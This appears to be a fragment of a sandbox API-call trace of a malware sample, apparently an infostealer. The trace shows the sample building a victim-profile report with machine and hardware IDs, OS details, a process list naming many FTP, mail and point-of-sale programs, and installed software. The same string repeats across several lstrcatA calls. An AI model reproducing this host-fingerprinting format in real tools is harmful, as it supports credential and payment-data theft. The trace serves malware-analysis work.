03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001"
[0054.960] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]"
[0054.960] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: 